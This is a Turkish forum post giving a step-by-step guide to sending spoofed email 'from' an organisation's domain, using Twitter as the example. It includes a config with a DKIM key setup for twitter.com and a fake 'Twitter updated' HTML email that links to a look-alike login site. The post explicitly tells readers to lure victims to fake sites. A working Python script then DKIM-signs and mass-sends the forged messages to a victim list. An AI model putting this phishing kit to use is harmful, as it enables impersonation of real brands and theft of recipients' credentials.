Kuruma Ait E-posta Adreslerini Kullanarak Posta Gönderimi

Rıdvankaya

Uzman Üye
Katılım
21 Eyl 2023
Mesajlar
95
Tepkime puanı
43
Puanları
18
Yaş
32
Konum
Midyat/Mardin
Web sitesi
github.com
Kuruma Ait E-posta Adreslerini Kullanarak Posta Gönderimi
İstenilen bir domain uzantısından istenilen kişiye mail göndermek için aşağıdaki adımları takip edebilirsiniz:
Adımlar:
1. Adım: Hangi mail adresinden kime hangi başlıkla mail gönderileceğini aşağıdaki formatta bir kisiler.txt dosyası olarak kaydedin. Örnek:
[email protected]:Twitter güncellendi:[email protected]
2. Adım: Mail atmak için smtp konfigrasyonunuzu bir config.txt dosyasına yazın. Örnek:
[SMTP]
host=smtp.gmail.com
port=587
user=[email protected]
password=twitter123
[DKIM]
domain=twitter.com
selector=dkim
keyfile=twitter.pem
Bu dosyada, SMTP sunucusunun host, port, user ve password bilgilerini ve DKIM imzası için domain, selector ve özel anahtar dosyasının adını belirtin. Özel anahtar dosyasını aynı dizinde bulundurun.
3. Adım: Html formatında sahte mailinizi hazırlayıp sahte_mail dosyası olarak kaydedin. Örnek:
<html>
<head>
<title>Twitter güncellendi</title>
</head>
<body>
<p>Merhaba,</p>
<p>Twitter hesabınızın güvenliğini artırmak için yeni bir özellik ekledik. Artık hesabınızı iki faktörlü doğrulama ile koruyabilirsiniz.</p>
<p>Bu özelliği aktif etmek için lütfen <a href="http://twitter-giris.com">buraya</a> tıklayın ve gerekli bilgileri girin.</p>
<p>Twitter ekibi</p>
</body>
</html>
Bu dosyada, mailin başlığını, içeriğini ve istediğiniz linkleri belirtin. Linkleri sahte sitelere yönlendirerek kurbanı kandırmaya çalışın.
4. Adım: Aşağıdaki scripti asaguvenlik_mail.py dosyası olarak kaydedin. Bu script, kisiler.txt, config.txt ve sahte_mail dosyalarını okuyarak, her bir kurban için DKIM imzalı bir mail oluşturur ve gönderir.
import smtplib
import email
import dkim
import os
import sys
import argparse
# Argümanları al
parser = argparse.ArgumentParser(description="Kuruma ait e-posta adreslerini kullanarak posta gönderimi")
parser.add_argument("-n", "--name", help="Sahte mail dosyasının adı", required=True)
parser.add_argument("-c", "--config", help="SMTP ve DKIM konfigrasyon dosyasının adı", required=True)
parser.add_argument("-f", "--file", help="Kurbanların mail adreslerinin bulunduğu dosyanın adı", required=True)
args = parser.parse_args()
# Sahte mail dosyasını oku
with open(args.name, "r") as f:
html = f.read()
# SMTP ve DKIM konfigrasyon dosyasını oku
config = {}
with open(args.config, "r") as f:
for line in f:
if "=" in line:
key, value = line.strip().split("=")
config[key] = value
# Kurbanların mail adreslerini oku
kisiler = []
with open(args.file, "r") as f:
for line in f:
if ":" in line:
sender, subject, receiver = line.strip().split(":")
kisiler.append((sender, subject, receiver))
# SMTP bağlantısı kur
server = smtplib.SMTP(config["host"], config["port"])
server.ehlo()
server.starttls()
server.ehlo()
server.login(config["user"], config["password"])
# Her bir kurban için mail oluştur ve gönder
for sender, subject, receiver in kisiler:
# Mail başlıklarını belirle
msg = email.message.Message()
msg["From"] = sender
msg["To"] = receiver
msg["Subject"] = subject
msg.add_header("Content-Type", "text/html")
msg.set_payload(html)
# Maili DKIM ile imzala
with open(config["keyfile"], "rb") as f:
key = f.read()
sig = dkim.sign(msg.as_bytes(), config["selector"].encode(), config["domain"].encode(), key, include_headers=["From", "To", "Subject"])
sig = sig.decode().lstrip("DKIM-Signature: ")
msg["DKIM-Signature"] = sig
# Maili gönder
server.sendmail(sender, receiver, msg.as_string())
print(f"{sender} -> {receiver} mail gönderildi.")
# SMTP bağlantısını kapat
server.quit()
5. Adım: Scripti çalıştırmak için root olarak Kali Linux terminalini açın ve aşağıdaki komutu girin.
root@kali:~/Desktop/asaguvenlik_mail# python3 asaguvenlik_mail.py -n sahte_mail -c config.txt -f kisiler.txt
Bu komut, sahte_mail, config.txt ve kisiler.txt dosyalarının aynı dizinde bulunduğunu varsayar. Eğer farklı bir dizindeyseler, tam yollarını belirtin.
6. Adım: Scriptin çalışmasını bekleyin. Her bir mail gönderildiğinde terminalde bir mesaj görünecektir. Mail gönderimi tamamlandığında, script sonlanacaktır.
 
Üst